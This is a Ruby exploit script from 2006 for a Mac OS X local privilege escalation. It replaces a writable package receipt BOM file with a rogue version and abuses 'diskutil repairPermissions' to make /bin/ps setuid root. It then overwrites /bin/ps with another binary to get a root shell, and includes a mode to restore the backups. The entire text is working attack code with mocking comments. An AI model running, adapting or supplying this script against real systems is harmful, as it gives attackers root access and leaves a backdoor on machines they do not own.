#!/usr/bin/ruby # (c) 2006 LMH # Kevin Finisterre # # Thanks to The French Connection for bringing this in-the-wild 0-day to # our attention. If /tmp/ps2 exists on your system, you've been pwned already. # Thanks to the original authors of the exploit ('meow'). You know who you are. # # "They did it for the lulz" - A Fakecure spokesperson on the 'Mother Of all Bombs'. # "kcoc kcus I ro tcarter uoY" - The Original Drama P3dobear (Kumo' n'). # require 'fileutils' # Basic configuration TARGET_BINARY = "/bin/ps" # Changing this requires you to create a new TEH_EVIL_BOM TARGET_BACKUP_PATH = "/tmp/ps2" # see: "man lsbom" and "man mkbom" TARGET_SHELL_PATH = "/usr/bin/id" # Ensure the binary doesn't drop privileges! BOMARCHIVE_PATH = "/Library/Receipts/Essentials.pkg/Contents/Archive.bom" DISKUTIL_PATH = "/usr/sbin/diskutil" TEH_EVIL_BOM = File.read("Evil.bom") # # Repair a rogue installation using the back-up files. Useful for testing. # Probably you don't want to repair on real pwnage... :-) # def do_repair() puts "++ Repairing (moving back-ups to original path)" puts "++ #{File.basename(BOMARCHIVE_PATH)}" FileUtils.rm_f BOMARCHIVE_PATH FileUtils.cp File.join("/tmp", File.basename(BOMARCHIVE_PATH)), BOMARCHIVE_PATH puts "++ #{TARGET_BINARY}" FileUtils.rm_f TARGET_BINARY FileUtils.cp TARGET_BACKUP_PATH, TARGET_BINARY puts "++ Removing back-ups..." FileUtils.rm_f TARGET_BACKUP_PATH FileUtils.rm_f File.join("/tmp", File.basename(BOMARCHIVE_PATH)) puts "++ Done. Repairing disk permissions..." exec "#{DISKUTIL_PATH} repairPermissions /" end # # Ovewrite TARGET_BINARY with TARGET_SHELL_PATH and set the rogue permissions unless # they are already properly set. # def exploit_bomb() puts "++ We get signal. Overwriting #{TARGET_BINARY} with #{TARGET_SHELL_PATH}." # Overwriting with this method will always work well if binary at TARGET_SHELL_PATH # is bigger than TARGET_BINARY (ex. /bin/sh is 1068844 bytes and /bin/ps is 68432). # An alternative method is running diskutil again to set the rogue permissions. over = File.new(TARGET_BINARY, "w") over.write(File.read(TARGET_SHELL_PATH)) over.close unless FileTest.setuid?(TARGET_BINARY) fork do FileUtils.rm_f TARGET_BINARY FileUtils.cp TARGET_SHELL_PATH, TARGET_BINARY exec "#{DISKUTIL_PATH} repairPermissions /" end Process.wait end puts "++ Done. Happy ruuting." end # # Overwrite the BOM with the rogue version, set new permissions. # def set_up_the_bomb() puts "++ Preparing to overwrite (#{BOMARCHIVE_PATH})" # Back-up the original Archive.bom, set mode to 777 if FileTest.writable?(BOMARCHIVE_PATH) backup_path = File.join("/tmp", File.basename(BOMARCHIVE_PATH)) unless FileTest.exists?(backup_path) puts "++ Creating backup copy at #{backup_path}" FileUtils.cp BOMARCHIVE_PATH, backup_path end puts "++ Removing original file." FileUtils.rm_f BOMARCHIVE_PATH puts "++ Writing backdoor BOM file." target_bom = File.new(BOMARCHIVE_PATH, "w") target_bom.write(TEH_EVIL_BOM) target_bom.close puts "++ Done." else puts "-- Can't write to '#{BOMARCHIVE_PATH}. No pwnage for you today." exit end # Back-up the target backdoor path unless FileTest.exists?(TARGET_BACKUP_PATH) puts "++ Creating backup copy of #{TARGET_BINARY} at #{TARGET_BACKUP_PATH}" FileUtils.cp TARGET_BINARY, TARGET_BACKUP_PATH end # Let diskutil do it's job (set permissions over target binary path, setuid) puts "++ Running diskutil to set the new permissions for the backdoor..." fork do exec "#{DISKUTIL_PATH} repairPermissions /" end Process.wait puts "++ Somebody set up us the bomb!" exploit_bomb() end # Here be pwnies if ARGV[0] == "repair" do_repair() else set_up_the_bomb() end